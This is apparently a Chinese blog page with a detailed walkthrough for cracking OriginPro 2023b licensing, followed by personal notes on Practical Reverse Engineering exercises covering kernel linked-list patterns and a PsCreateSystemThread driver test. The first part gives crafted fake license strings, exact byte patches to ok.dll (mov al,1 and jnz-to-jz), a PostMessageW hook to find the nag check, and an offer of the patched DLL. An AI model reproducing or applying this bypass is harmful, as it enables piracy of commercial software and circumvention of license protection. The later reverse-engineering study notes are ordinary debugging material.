0000015f`eea4c9f8  74786574 72003300 6e696769 5c62614c  text.3.riginLab\
0000015f`eea4ca08  6563694c 0065736e 00756a70 00adf00d  License.pju.....
0000015f`eea4ca18  eea4cb58 0000015f 0000002f baadf00d  X..._.../.......
0000015f`eea4ca28  65780035 646f4d64 6e496c65 2e626968  5.xedModelInhib.
0000015f`eea4ca38  00666466 61745320 64656b63 73694820  fdf. Stacked His
0000015f`eea4ca48  72676f00 6f2e6d61 00756a70 baadf00d  .ogram.opju.....
0000015f`eea4ca58  eea4ca18 0000015f 0000002f baadf00d  ...._.../.......
0:000> dc poi(rdx)
0000015f`fa7c2a08  49474552 20730044 6563696c 0065736e  REGID.s license.
0000015f`fa7c2a18  fa7c2978 0000015f 0000000f baadf00d  x)|._...........
0000015f`fa7c2a28  003d4c43 33323632 62302e00 005c6100  CL=.2623..0b.a\.
0000015f`fa7c2a38  fa7c2a18 0000015f 0000000f baadf00d  .*|._...........
0000015f`fa7c2a48  72747845 76650061 6c2e6c61 00006369  Extra.eval.lic..
0000015f`fa7c2a58  00000001 00000001 0000000f baadf00d  ................
0000015f`fa7c2a68  44500003 2e324345 00464446 baadf00d  ..PDEC2.FDF.....
0000015f`fa7c2a78  00000001 00000002 0000000f baadf00d  ................
0:000> dc poi(r8)
00007ffb`8a77f050  00000000 00000000 00000000 00000000  ................
00007ffb`8a77f060  8a77a8f8 00007ffb 00000020 00000fff  ..w..... .......
00007ffb`8a77f070  00015262 00000000 fd2fff10 0000015f  bR......../._...
00007ffb`8a77f080  fa7c3e78 0000015f 8a7721b0 00007ffb  x>|._....!w.....
00007ffb`8a77f090  8a7721c0 00007ffb ffffffff ffffffff  .!w.............
00007ffb`8a77f0a0  ffffffff 00000000 00000000 00000000  ................
00007ffb`8a77f0b0  00000000 00000000 020007d0 00000000  ................
00007ffb`8a77f0c0  8a77a8f8 00007ffb 00000040 00000fff  ..w.....@.......
0:000> r r9
r9=000000000000000b

1p：我们输入的license text
2p：REGID
3p：传出参数
4p：硬编码的值，0xB

ou!sub_180136A90

现在我们进入函数sub_180136A90，这个函数中调用的都是CString类的一些函数，因此很容易理清逻辑，这个函数会对我们的输入的license字符串作如下处理

license text转为大写
获取REGID在license text中的index
如果index为-1（license text中不存在REGID）或者0（REGID位于license text的开头），则返回1，同时传出参数为空
否则从license text的index+len('REGID')+1的位置开始截取长度为0xB的字符串填充到传出参数，另外第一个参数，也就是我们输入的license text也发生了变化，index及之后的字符都被丢弃了

然后再次调用

可以看到该函数第二次调用的返回值会直接影响到最终的返回值，0x191即401，也就是license text验证失败的错误代码

很显然我们不希望最后返回401，因此我们要控制al不为0，那我们就可以构造出如下的license text来控制al为1

0FSN0123456789abcdefghijkREGIDABCDEFGHIJKLMNOPQRSTUVWXYZ

然后函数sub_180136A90两次调用的传出参数将会分别作为函数okuCountTotalSeries的参数被调用

0:000> dc rcx
0000015f`fa7c2a28  45444342 49484746 004c4b4a 005c6174  BCDEFGHIJKL.ta\.
0000015f`fa7c2a38  fa7c2958 0000015f 0000000f baadf00d  X)|._...........
0000015f`fa7c2a48  003d4c43 33323632 62302e00 005c6100  CL=.2623..0b.a\.
0000015f`fa7c2a58  00000001 00000001 0000000f baadf00d  ................
0000015f`fa7c2a68  44500003 2e324345 00464446 baadf00d  ..PDEC2.FDF.....
0000015f`fa7c2a78  00000001 00000002 0000000f baadf00d  ................
0000015f`fa7c2a88  44004303 2e334345 00464446 baadf00d  .C.DEC3.FDF.....
0000015f`fa7c2a98  00000001 00000001 0000000f baadf00d  ................
0:000> dc rdx
0000015f`eea4c868  34333231 38373635 63626139 67666564  123456789abcdefg
0000015f`eea4c878  69006968 62614c6e 6369005c 65736e65  hi.inLab\.icense
0000015f`eea4c888  51000000 55545352 59585756 0000005a  ...QRSTUVWXYZ...
0000015f`eea4c898  eea4cb98 0000015f 0000002f baadf00d  ...._.../.......
0000015f`eea4c8a8  4e534630 33323130 37363534 62613938  0FSN0123456789ab
0000015f`eea4c8b8  66656463 6a696867 6369006b 65736e65  cdefghijk.icense
0000015f`eea4c8c8  65630000 0065736e 36323532 00003332  ..cense.252623..
0000015f`eea4c8d8  00000001 00000013 0000002f baadf00d  ......../.......

ok!okuCountTotalSeries

该函数位于C:\Program Files\OriginLab\Origin2023b\ok.dll

从上图中可以看出，我们需要控制函数okuCountTotalSeries的返回值不为0

那么我们就需要控制该函数内部的这两个分支，不能跳到loc_180E0C1D7

ok!sub_180E0A430

该函数代码不多，逻辑也是相当的简单

就是把我们传给函数okuCountTotalSeries的第2个参数，也就是字符串

123456789abcdefghi
012345678901234567

的0xB处开始拷贝出来，就是cdefghi，返回值就是atol函数的返回值，很显然，当前的注册码是没有办法转换成long的，因此我们需要把cdefghi改成1234567

现在我们的注册码就变成了

0FSN0123456789ab1234567jkREGIDABCDEFGHIJKLMNOPQRSTUVWXYZ

ok!sub_180DF8F70

这个函数的内容有一点长，其传入的参数如下：

0:000> dc rcx
0000015f`fa7c3e88  45444342 49484746 004c4b4a 00006369  BCDEFGHIJKL.ic..
0000015f`fa7c3e98  00000001 00000001 0000000f baadf00d  ................
0000015f`fa7c3ea8  6d650030 005c7365 00332e32 00007300  0.emes\.2.3..s..
0000015f`fa7c3eb8  00000001 00000009 0000000f baadf00d  ................
0000015f`fa7c3ec8  57746547 6449646e 746e0078 006c6f72  GetWndIdx.ntrol.
0000015f`fa7c3ed8  00000001 0000000f 0000000f baadf00d  ................
0000015f`fa7c3ee8  4e746547 65657254 6e616843 00736567  GetNTreeChanges.
0000015f`fa7c3ef8  00000001 0000000d 0000000f baadf00d  ................
0:000> r rdx
rdx=0000000000000000
0:000> r r8
r8=0000000000000000

我不想进去看了，直接看一下返回值，返回值是一个整型数，然后和函数sub_180E0A430的返回值进行了比较，如果两者不相等，最终就会返回0

那么很简单，我们只需要控制sub_180E0A430的返回值和该函数的返回值一样即可，当前函数的返回值是0x42dded，即4382189，再次更新我们的注册码

0FSN0123456789ab4382189jkREGIDABCDEFGHIJKLMNOPQRSTUVWXYZ

好了，现在我们重新回到ou.dll的函数sub_18012EF30

ou!loc_18012EFDC

mov     dl, 22h ; '"'
lea     rcx, [rbp+arg_10]
call    cs:?ReverseFind@CStringUTF8@@QEBAHD@Z ; CStringUTF8::ReverseFind(char)
lea     r8d, [rax+1]
lea     rdx, [rbp+var_18]
lea     rcx, [rbp+arg_10]
call    cs:?Left@CStringUTF8@@QEBA?AV1@H@Z ; CStringUTF8::Left(int)
nop
mov     rax, [rbp+var_20]
mov     [rsp+50h+var_30], rax
mov     r9, [rbp+arg_18]
xor     r8d, r8d
lea     rdx, [rbp+arg_8]
lea     rcx, [rbp+var_18]
call    sub_1801308E0
mov     ecx, 191h
test    eax, eax
cmovz   edi, ecx
lea     rcx, [rbp+var_18]
call    cs:__imp_??1CStringUTF8@@QEAA@XZ ; CStringUTF8::~CStringUTF8(void)
jmp     short loc_18012F033

上面汇编代码中的[rbp+arg_10]就是函数sub_180136A90的第1个参数，我们前面已经知道了该函数会改变自己第一个参数的内容，就是会把REGID和FSN及后面的字符都丢掉，那么到这里[rbp+arg_10]的值就是

这段代码做的事就是在[rbp+arg_10]找到"最后一次出现的位置，然后丢弃该位置之后的字符

最后调用函数sub_1801308E0

ou!sub_1801308E0

我们先看一下参数传入情况

1p：前面使用"截取出来的字符串
2p：传出参数
3p：0
4p：123456789ab4382189
5p：BCDEFGHIJKL

该函数会检查第一个参数是否是空字符串，因为我们没有"，所以第一道检查就挂了

另外就是该函数的返回值也需要进行控制，根据loc_18012EFDC中的内容

mov     ecx, 191h
test    eax, eax
cmovz   edi, ecx

只有eax不为0，edi才不会变成0x191

因此我们需要经过该函数的重重检查，到达loc_180130A1F

前面的检查都由CString类的函数完成，分析起来很简单，这里不再赘述，最终形成的注册码为：

INCREMENTFEATUREorglabSIGN123456789""FSN09876543278L5824771TUVWXYZREGIDFSNABCDEFGHIJKLMNOPQRSTUVWXYZ

但是输入该注册码之后，并没有提示我们注册成功，虽然没有401报错了，但是我们的软件仍未被激活

仔细审查函数sub_1801308E0的代码，可以在函数尾部发现有一个叫做COKAccess::GetTempViewportLimits的函数被调用，其第1个参数为

INCREMENTFEATUREorglabSIGN123456789""

进入该函数，一路跟到了ok.dll的sub_18012DDA0

ok!sub_18012DDA0

在该函数下断点，我们可以观察到，注册码中的下面三部分被存储到了内存的特定位置中

INCREMENTFEATUREorglabSIGN123456789""
9876543278L5824771
SNABCDEFGHI

我们记录下这三个字符串存储的内存地址，然后下内存读的条件断点

通过内存访问断点定位检测代码

我直接在这三个内存地址上下内存读断点

ba r1 00000218`db5dab88 
ba r1 00000218`db5dac08
ba r1 00000218`dc168aa8

最后在第二个断点被触发时得到如下调用栈

Breakpoint 1 hit
ok!OSetNumericSettings::operator=+0x403b:
00007ffc`178eec1b 0f95c0          setne   al
0:000> k
 # Child-SP          RetAddr               Call Site
00 000000ad`bfdff558 00007ffc`178ec37b     ok!OSetNumericSettings::operator=+0x403b
01 000000ad`bfdff560 00007ffc`17f4eae3     ok!OSetNumericSettings::operator=+0x179b
02 000000ad`bfdff5a0 00007ffc`17f54649     ok!okfxDoNewLegendEntries+0x21b3
03 000000ad`bfdff5e0 00007ffc`17f54f6d     ok!GetObjectPlotCategory::ObjectSeriesSetType+0x1229
04 000000ad`bfdff630 00007ffc`17f50673     ok!GetObjectPlotCategory::ObjectSeriesSetType+0x1b4d
05 000000ad`bfdffcb0 00007ffc`17f535c1     ok!GetObjectPlotCategory::DataSeriesGetProcessedData+0xe93
06 000000ad`bfdffce0 00007ffc`17955ded     ok!GetObjectPlotCategory::ObjectSeriesSetType+0x1a1
07 000000ad`bfdffd30 00007ffc`1a962731     ok!COKAccess::OkOnItemReDraw+0x10d
08 000000ad`bfdffdb0 00007ffc`33c70a7c     ou!COriginApp::OnIdle+0xd1
09 000000ad`bfdffe00 00007ffc`33ca3c20     mfc140u!CWinThread::Run+0x5c [D:\a\_work\1\s\src\vctools\VC7Libs\Ship\ATLMFC\Src\MFC\thrdcore.cpp @ 621] 
0a 000000ad`bfdffe40 00007ff6`625ea44e     mfc140u!AfxWinMain+0xc0 [D:\a\_work\1\s\src\vctools\VC7Libs\Ship\ATLMFC\Src\MFC\winmain.cpp @ 61] 
0b 000000ad`bfdffe80 00007ffc`651a7614     Origin64+0xa44e
0c 000000ad`bfdffec0 00007ffc`654a26b1     KERNEL32!BaseThreadInitThunk+0x14
0d 000000ad`bfdffef0 00000000`00000000     ntdll!RtlUserThreadStart+0x21

稍加整理，即可得到函数的调用顺序，我们只取出调用栈中的前几个即可，整理出来如下的调用栈

sub_180793590
    -> sub_180790520   调用点：0x18079066E
        -> sub_180794B10
            -> sub_180794600
                -> sub_18078EAC0 
                    -> sub_18012C360
                        -> sub_18012EC10

这里面的函数代码一个比一个长，简单放一个拓扑图感受一下

所以这些函数我都是大致浏览了一下，其中函数sub_180790520吸引到了我的注意

在下面这个地方（0x18079066E），函数调用了sub_180794B10，而这个函数的返回值决定了分支的走向

继续往下浏览，我发现在右边的分支最终会调用函数COKAccess::UpdateMainWinTitle，这个看起来很不错，因为如果是激活失败的话也没必要更新主窗口的标题，可以看到我当前的测试软件的窗口标题中有一个Expired，同时左边的分支并没有什么有趣的东西，因此我们尝试把函数sub_180794B10的返回值强制修改为1

patch程序

这里之所以选择修改返回值而不是分析函数sub_180794B10的代码，是因为这个函数实在是太复杂了，不如赌一把直接修改返回值

看一下缩略图就知道这个函数有多复杂了，比我上面贴的那个还复杂

想要把这个函数分析明白需要很多时间，所以我选择直接patch

我们最终会从左边那个分支返回，所以我们需要把mov eax, ebx修改掉，保证最后的返回值非0

这个指令对应的机器码如下

0:001> u ok+7954CB 
ok!GetObjectPlotCategory::ObjectSeriesSetType+0x20ab:
00007ffc`17f554cb 8bc3            mov     eax,ebx

只占用2个字节，因此我们需要搞一个只占用2字节，而且还能保证eax非0的指令

如上图所示，mov al, 1就正好符合我们的需求，我们只需要使用管理员权限打开IDA，将ok.dll的0x1807954CB修改为b001即可

使用API HOOK技术定位消息发送代码

我当时以为这把肯定能搞定了，结果输入注册码之后弹出了如下消息框，真的是太难了

现在我要找一下这个窗是怎么弹出来的，在user32!messageboxw下断点，看一下调用栈

Breakpoint 0 hit
USER32!MessageBoxW:
00007ffc`64609750 4883ec38        sub     rsp,38h
0:000> k
 # Child-SP          RetAddr               Call Site
00 00000046`963fe638 00007ffc`1a939814     USER32!MessageBoxW
01 00000046`963fe640 00007ffc`33c8782e     ou!CMainFrame::WindowProc+0x704

这个消息框是在CMainFrame::WindowProc函数的0x18003980F位置被调用的

这个函数看名字再加上IDA分析出来的参数情况，基本上能猜出来是通过消息触发的，后两个参数应该就是lParam和wParam，和SendMessage的参数对应

我们可以使用IDA的分支图追溯一下函数MessageBoxW的第2和第3个参数（就是消息框的标题和内容）是哪里来的

最终可以定位到这两个参数是在0x18003940F和0x180039422被初始化的，从这个地方的函数名称和参数传入情况就能看出来，第一个参数是传出参数，将会保存一个字符串，并且这个函数两次调用，其第2个参数分别是CMainFrame::WindowProc的第4和第3个参数

因此我们可以下下面这样的断点来观察该函数调用前后的参数情况

ba e1 ou+3940F "r rdx;g"
ba e1 ou+39422 "dc poi(rsp+48);r rdx;g"
ba e1 ou+39428 "dc poi(rsp+40);g"

得到如下结果：

rdx=0000000000003f0e
000001d9`d2b91dc8  00740041 00650074 0074006e 006f0069  A.t.t.e.n.t.i.o.
000001d9`d2b91dd8  0021006e abab0000 abababab abababab  n.!.............
000001d9`d2b91de8  abababab feeeabab 00000000 00000000  ................
000001d9`d2b91df8  00000000 00000000 feeefeee feeefeee  ................
000001d9`d2b91e08  bd768892 00fbed99 d2a8e380 000001d9  ..v.............
000001d9`d2b91e18  c305e490 000001d9 feeefeee feeefeee  ................
000001d9`d2b91e28  feeefeee feeefeee feeefeee feeefeee  ................
000001d9`d2b91e38  feeefeee feeefeee feeefeee feeefeee  ................
rdx=0000000000003fb6
000001d9`d2a8e398  006f0059 00720075 00460020 0045004c  Y.o.u.r. .F.L.E.
000001d9`d2a8e3a8  006c0058 0020006d 0069006c 00650063  X.l.m. .l.i.c.e.
000001d9`d2a8e3b8  0073006e 00200065 00690066 0065006c  n.s.e. .f.i.l.e.
000001d9`d2a8e3c8  00690020 00200073 006e0069 00610076   .i.s. .i.n.v.a.
000001d9`d2a8e3d8  0069006c 002e0064 abab0000 abababab  l.i.d...........
000001d9`d2a8e3e8  abababab abababab feeeabab feeefeee  ................
000001d9`d2a8e3f8  feeefeee feeefeee 00000000 00000000  ................
000001d9`d2a8e408  00000000 00000000 feeefeee feeefeee  ................

可以看到两次调用的第2个参数分别为0x3f0e和0x3fb6，我们选择0x3fb6作为过滤条件，因为标题区分度不够高，可能别的窗口也会使用同样的标题，而内容重复的概率不高，那么我们就可以HOOK住消息发送函数，检测传进来的wParam是否为0x3fb6，消息发送函数我知道的一共有两个，一个是SendMessage，另一个是PostMessage，我当时先HOOK的SendMessageW，但是并没有拦截到wParam值为0x3fb6的调用，后面我又HOOK了PostMessageW，成功拦截，下面我记录一下我HOOK这两个API的过程

api hook的技术细节

我在网上搜了搜，给出的方案是把原始函数的前面几个字节替换成跳转到我们的hook函数的指令，然后在hook函数中对参数进行过滤，之后恢复原始函数的前面几个字节，再去调用原始函数并返回

但是这个并不满足我的需求，由于在hook函数内修复了原始函数，所以他只能hook一次

我后来想的办法是在hook函数内修复原始函数，调用原始函数后保存返回值，然后再修改原始函数的前几个字节，重新hook住这个函数，再返回前面保存的返回值，但是这样在多线程中会出现问题，最后在汪哥的提醒下，找到了下面的hook方式

最终导致的结果就是，当PostMessageW被调用的时候，指令的走向就变成了下面这样

原理已经清楚，代码就很容易写了，如下图所示，我们顺利定位到了发送该消息的调用栈

这条消息实际上是由sub_180793590发送的，调用位置在0x180793625

而这个函数又是在OkOnItemReDraw的0x180195DE8位置调用的，观察该函数的分支走向并结合里面调用的各个函数名分析即可定位到关键判断语句的位置：0x180195D3E

test    eax, eax
jnz     loc_18019624F

故技重施，把jnz修改为jz即可，前者的机器码为0F 85，后者的机器码为0F 84，修改之后，重新打开OriginPro，没有任何弹窗，也不会出现过一段时间就自动退出的情况，虽然查看注册信息仍然是未激活状态，但是已经不影响正常使用了

OK，这次的破解就到这儿吧，不足之处还望各位师傅指点

本篇文章中用到的工具以及patch之后的DLL都打包放到这里了

Practical Reverse Engineering notes -- Part II

2022-08-05T00:00:00+02:00

Part II

目录可能会稍微有点乱，不要介意，凑合看吧

约定

不知道该怎么翻译的，我一律直接用英文原文，只可意会不可言传，自己去悟吧

内核调试配置

windbg启动命令

windbg32 –k net:port=50000,key=2steg4fzbj2sz.23418vzkd4ko3.1g34ou07z4pev.1sp3yo9yz874p


windbg64 –k net:port=50100,key=2steg4fzbj2sz.23418vzkd4ko3.1g34ou07z4pev.1sp3yo9yz874p

书中使用到的所有恶意样本

密码是infected

List##Excercise

接着做题，他这个题是真的多༼☯﹏☯༽

在汇编代码中找InsertHeadList的内联代码

先观察该函数汇编代码的模式

把ListHead给Entry的Blink

mov [rax+8], rdi

取出ListHead的Flink给Entry的Flink

mov rcx, [rdi]
mov [rax], rcx

把Entry给ListHead的Flink的Blink和ListHead的Flink

mov [rcx+8], rax
mov [rdi], rax

模式大概就是：

有两个地址需要往后偏移8并进行写入值的操作

有两个地址需要进行写入值的操作

这两个写入操作有一个重叠地址（不考虑偏移量），这个地址就是新增的Entry

未产生交集的两个地址，偏移8进行写入的是OldEntry，另一个就是ListHead

其中ListHead会分别进行一次读取值和写入值的操作

在做题的过程中，我又发现一个模式

判断OldEntry的Blink是否指向ListHead

cmp qword ptr [r8+8], rax

jne MEM_LOCATION Branch

这里r8是OldEntry，rax是ListHead

这样的话，就直接找cmp和jne连着的地方，基本上就大差小不差了

nt!CcSetVacbInFreeList

根据上面总结出来的模式

rax为Entry

rdx（nt!CcVacbFreeList）为ListHead

未产生交集且偏移8进行写入操作的rcx是OldEntry

nt!CmpDoSort

正好5条指令

r11为OldEntry

rbx为新增Entry

r12为ListHead

nt!ExBurnMemory

r8为ListHead

rax为OldEntry

rcx（nt!BurnMemoryDescriptor）为新增Entry

nt!ExFreePoolWithTag

这两千多行的代码，我就是快速扫一眼都扫了半天，眼都快瞎了

rcx是ListHead

rbx是新增的Entry

rax是OldEntry

nt!IoPageRead

不用我勾选，上图中的5个mov指令就是链表插入操作，具体每个寄存器代表什么我也不写了，一眼就能看出来

里面的cmp指令用于判断OldEntry的Blink是否指向ListHead，正常情况下是相等的，具体什么情况下会不相等，我也不知道

nt!IovpCallDriver1

nt!KeInitThread

nt!KiInsertQueueApc

nt!KeInsertQueueDpc

nt!KiQueueReadyThread

nt!MiInsertInSystemSpace

nt!MiUpdateWsle

nt!ObpInsertCallbackByAltitude

定位InsertTailList这个函数的inline代码我就不做了，因为和InsertHeadList非常相似，模式几乎是一样的，只不过是改成了从尾部插入而已

做一下RemoveHeadList好了，题解我就不放在这里了，因为太占地方了

在这里查看题解

在往后的一道题就是说之前做的Insert和Remove链表节点的几个函数代码都有一个共同的特征，这个我在做题的时候也发现了，而且记录了下来，就是CMP和JNE指令

类似于下面这种

这个CMP指令的结果正常情况下应该是相等的，如果不相等，说明链表出现了问题，后面的代码就没办法正常执行了，因此直接跳转走并触发中断

每次判断失败的时候，就会执行

mov ecx, 3
int 29h

题目提示说需要使用查看IDT，那就来看一下29h中断是啥

kd> !idt 29

Dumping IDT: fffff8038577f080

29: fffff803858fb800 nt!KiRaiseSecurityCheckFailure

在windows 8 x64中INT指令的背后进行了哪些一系列的操作，什么TrapFrame又是啥东西，这些我都不是很清楚，也许永远都不会清楚，如果清楚了，我会更新的

通过在驱动程序中嵌入汇编代码，我可以跟进29h号中断的代码里，并观察到rsp指向的是RIP，此时的RIP是指向int指令的下一条指令的，后面的我就没戏看了，暂时还没必要，而且我也不是很清楚具体都压进去了什么东西到栈里面

Asynchronous and Ad-Hoc Execution

Ad-Hoc好像是老外的俚语，意思可能是立即，我也不清楚，硬着头皮往下看先

System Threads

就他妈离谱，上来就让我写个驱动去测试东西，我哪里会写驱动啊

OK，我会写驱动了，我也会调试驱动了，没什么难的

https://github.com/wqreytuk/x64_ASM_Kernel_Mode

这一节就是讲的PsCreateSystemThread这个函数，然后让判断下面这段话是否正确

在IOCTL handler中调用该函数并将ProcessHandle（第四个参数）设为NULL，那么创建出来的线程是运行在发起IO请求的用户空间的那个进程中的

答案是这句话是错误的，我自己写了个驱动测试了一下，项目地址

这个项目包含一个驱动和一个console app，其中console app用于向驱动程序发起IO请求，将console app和驱动程序放到一个路径下执行console app即可，console app会首先安装驱动，然后使用getchar阻塞等待按键，这个时候在debugger中设置好windbg并加载好符号设置好断点（Test Function），回到debuggee回车触发断点即可

通过观察传入的最后一个参数获取到ThreadHandle的值

fffff807`54a95316 e8e5bcffff      call    SIoctl!TestFunction (fffff807`54a91000)
fffff807`54a9531b 48c744243000000000 mov   qword ptr [rsp+30h],0
fffff807`54a95324 488d05b5bdffff  lea     rax,[SIoctl!thread_routine (fffff807`54a910e0)]
fffff807`54a9532b 4889442428      mov     qword ptr [rsp+28h],rax
fffff807`54a95330 48c744242000000000 mov   qword ptr [rsp+20h],0
fffff807`54a95339 4533c9          xor     r9d,r9d
fffff807`54a9533c 4533c0          xor     r8d,r8d
fffff807`54a9533f ba00000010      mov     edx,10000000h
fffff807`54a95344 488d8c24d8000000 lea     rcx,[rsp+0D8h]
fffff807`54a9534c ff15deccffff    call    qword ptr [SIoctl!_imp_PsCreateSystemThread (fffff807`54a92030)]

在PsCreateSystemThread函数调用完成后查看rsp+d8即可

4: kd> dq /c 1 (rsp+d8) L1
ffff808d`dffdf1b8  ffffffff`80004aec

ffffffff80004aec是一个HANDLE对象，即句柄，它并不是一个地址，而是一个索引值，可以在windbg中使用!handle来查看该句柄关联的信息

圈起来的这个值就是句柄代表的对象的地址，就是ETHREAD(KTHREAD)结构体的地址，这两个结构体的地址是一样的，因为KTHREAD是ETHREAD的第一个成员

4: kd> dt nt!_KTHREAD ffff8a071f0e3080
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 SListFaultAddress : (null) 
   +0x020 QuantumTarget    : 0x4758c54
   ...
   +0x098 ApcState         : _KAPC_STATE
   +0x098 ApcStateFill     : [43]  "???"
   ...

进入ApcState成员

4: kd> dx -id 0,0,ffff8a07222e60c0 -r1 (*((ntkrnlmp!_KAPC_STATE *)0xffff8a071f0e3118))
(*((ntkrnlmp!_KAPC_STATE *)0xffff8a071f0e3118))                 [Type: _KAPC_STATE]
    [+0x000] ApcListHead      [Type: _LIST_ENTRY [2]]
    [+0x020] Process          : 0xffff8a0715a64380 [Type: _KPROCESS *]
    [+0x028] InProgressFlags  : 0x0 [Type: unsigned char]
    [+0x028 ( 0: 0)] KernelApcInProgress : 0x0 [Type: unsigned char]
    [+0x028 ( 1: 1)] SpecialApcInProgress : 0x0 [Type: unsigned char]
    [+0x029] KernelApcPending : 0x0 [Type: unsigned char]
    [+0x02a] UserApcPendingAll : 0x0 [Type: unsigned char]
    [+0x02a ( 0: 0)] SpecialUserApcPending : 0x0 [Type: unsigned char]
    [+0x02a ( 1: 1)] UserApcPending   : 0x0 [Type: unsigned char]

这时就已经看到KPROCESS(EPROCESS)的地址了0xffff8a0715a64380

4: kd> dt nt!_EPROCESS 0xffff8a0715a64380
   +0x000 Pcb              : _KPROCESS
   +0x2e0 ProcessLock      : _EX_PUSH_LOCK
   ...
   +0x448 ImageFilePointer : (null) 
   +0x450 ImageFileName    : [15]  "System"
   ...
   +0x870 CoverageSamplerContext : (null) 
   +0x878 MmHotPatchContext : (null)

可以看到ImageFileName成员的值是System，如果上面的那句话是正确的话，那么这里应该是ioctlapp.exe（console app的名称）

可以通过查看ioctlapp.exe进程的所有线程来进一步确认使用PsCreateSystemThread创建出来的线程并不在用户进程下

4: kd> !process ffff8a07222e60c0
PROCESS ffff8a07222e60c0
    SessionId: 2  Cid: 2f38    Peb: 6d2896e000  ParentCid: 1e94
    DirBase: 1572d5000  ObjectTable: ffffa282a0fe1d80  HandleCount:  65.
    Image: ioctlapp.exe
    VadRoot ffff8a072092b780 Vads 33 Clone 0 Private 175. Modified 2. Locked 0.
    DeviceMap ffffa2829bdb1e90
    Token                             ffffa2829f758060
    ElapsedTime                       00:05:33.095
    UserTime                          00:00:00.000
    KernelTime                        00:00:00.000
    QuotaPoolUsage[PagedPool]         30720
    QuotaPoolUsage[NonPagedPool]      5008
    Working Set Sizes (now,min,max)  (956, 50, 345) (3824KB, 200KB, 1380KB)
    PeakWorkingSetSize                912
    VirtualSize                       2101299 Mb
    PeakVirtualSize                   2101300 Mb
    PageFaultCount                    1001
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      202

        THREAD ffff8a072084b080  Cid 2f38.3474  Teb: 0000006d2896f000 Win32Thread: 0000000000000000 RUNNING on processor 4
        IRP List:
            ffff8a071d3fc2d0: (0006,0118) Flags: 00060070  Mdl: 00000000
        Not impersonating
        DeviceMap                 ffffa2829bdb1e90
        Owning Process            ffff8a07222e60c0       Image:         ioctlapp.exe
        Attached Process          N/A            Image:         N/A
        Wait Start TickCount      72069          Ticks: 1 (0:00:00:00.015)
        Context Switch Count      36             IdealProcessor: 5             
        UserTime                  00:00:00.000
        KernelTime                00:00:00.046
        Win32 Start Address 0x00007ff67f522800
        Stack Init ffff808ddffdf650 Current ffff808ddffde730
        Base ffff808ddffe0000 Limit ffff808ddffd9000 Call 0000000000000000
        Priority 9 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
        Child-SP          RetAddr           Call Site
        ffff808d`dffdf0e0 fffff807`4e631f39 SIoctl!SioctlDeviceControl+0x109 [C:\Users\Administrator\Documents\microsoft Windows-driver-samples main setup-devcon (1)\microsoft windows-driver-samples main general-ioctl_wdm\sys\sioctl.c @ 310] 
        ffff808d`dffdf1e0 fffff807`4ebe8345 nt!IofCallDriver+0x59
        ffff808d`dffdf220 fffff807`4ebe8150 nt!IopSynchronousServiceTail+0x1a5
        ffff808d`dffdf2c0 fffff807`4ebe7526 nt!IopXxxControlFile+0xc10
        ffff808d`dffdf3e0 fffff807`4e7d2915 nt!NtDeviceIoControlFile+0x56
        ffff808d`dffdf450 00007ff9`7909c1b4 nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffff808d`dffdf4c0)
        0000006d`2877f488 00007ff9`762f57b7 0x00007ff9`7909c1b4
        0000006d`2877f490 0000006d`00000000 0x00007ff9`762f57b7
        0000006d`2877f498 00007ff9`426b3c20 0x0000006d`00000000
        0000006d`2877f4a0 00000001`00000001 0x00007ff9`426b3c20
        0000006d`2877f4a8 00000001`00000001 0x00000001`00000001
        0000006d`2877f4b0 0000006d`2877f4e0 0x00000001`00000001
        0000006d`2877f4b8 00007ff9`9c402408 0x0000006d`2877f4e0
        0000006d`2877f4c0 00007ff6`7f529ce0 0x00007ff9`9c402408
        0000006d`2877f4c8 0000016e`0000003c 0x00007ff6`7f529ce0
        0000006d`2877f4d0 00007ff6`7f529d60 0x0000016e`0000003c
        0000006d`2877f4d8 00007ff9`00000064 0x00007ff6`7f529d60
        0000006d`2877f4e0 00000000`00000000 0x00007ff9`00000064

        THREAD ffff8a071d5a3040  Cid 2f38.0bd4  Teb: 0000006d28977000 Win32Thread: 0000000000000000 WAIT: (WrQueue) UserMode Alertable
            ffff8a071db12a80  QueueObject
        Not impersonating
        DeviceMap                 ffffa2829bdb1e90
        Owning Process            ffff8a07222e60c0       Image:         ioctlapp.exe
        Attached Process          N/A            Image:         N/A
        Wait Start TickCount      71866          Ticks: 204 (0:00:00:03.187)
        Context Switch Count      2              IdealProcessor: 5             
        UserTime                  00:00:00.000
        KernelTime                00:00:00.000
        Win32 Start Address 0x00007ff979033d60
        Stack Init ffff808de0a8f650 Current ffff808de0a8ee20
        Base ffff808de0a90000 Limit ffff808de0a89000 Call 0000000000000000
        Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
        Child-SP          RetAddr           Call Site
        ffff808d`e0a8ee60 fffff807`4e63c77d nt!KiSwapContext+0x76
        ffff808d`e0a8efa0 fffff807`4e63b604 nt!KiSwapThread+0xbfd
        ffff808d`e0a8f040 fffff807`4e63f4be nt!KiCommitThreadWait+0x144
        ffff808d`e0a8f0e0 fffff807`4e63efb9 nt!KeRemoveQueueEx+0x27e
        ffff808d`e0a8f190 fffff807`4e63ec8e nt!IoRemoveIoCompletion+0x99
        ffff808d`e0a8f2b0 fffff807`4e7d2915 nt!NtWaitForWorkViaWorkerFactory+0x25e
        ffff808d`e0a8f450 00007ff9`7909fa64 nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffff808d`e0a8f4c0)
        0000006d`28aff568 00007ff9`79034060 0x00007ff9`7909fa64
        0000006d`28aff570 00000000`00000000 0x00007ff9`79034060

        THREAD ffff8a071ff3a080  Cid 2f38.2df4  Teb: 0000006d28979000 Win32Thread: 0000000000000000 WAIT: (WrQueue) UserMode Alertable
            ffff8a071db12a80  QueueObject
        Not impersonating
        DeviceMap                 ffffa2829bdb1e90
        Owning Process            ffff8a07222e60c0       Image:         ioctlapp.exe
        Attached Process          N/A            Image:         N/A
        Wait Start TickCount      71866          Ticks: 204 (0:00:00:03.187)
        Context Switch Count      2              IdealProcessor: 6             
        UserTime                  00:00:00.000
        KernelTime                00:00:00.000
        Win32 Start Address 0x00007ff979033d60
        Stack Init ffff808de09d7650 Current ffff808de09d6e20
        Base ffff808de09d8000 Limit ffff808de09d1000 Call 0000000000000000
        Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
        Child-SP          RetAddr           Call Site
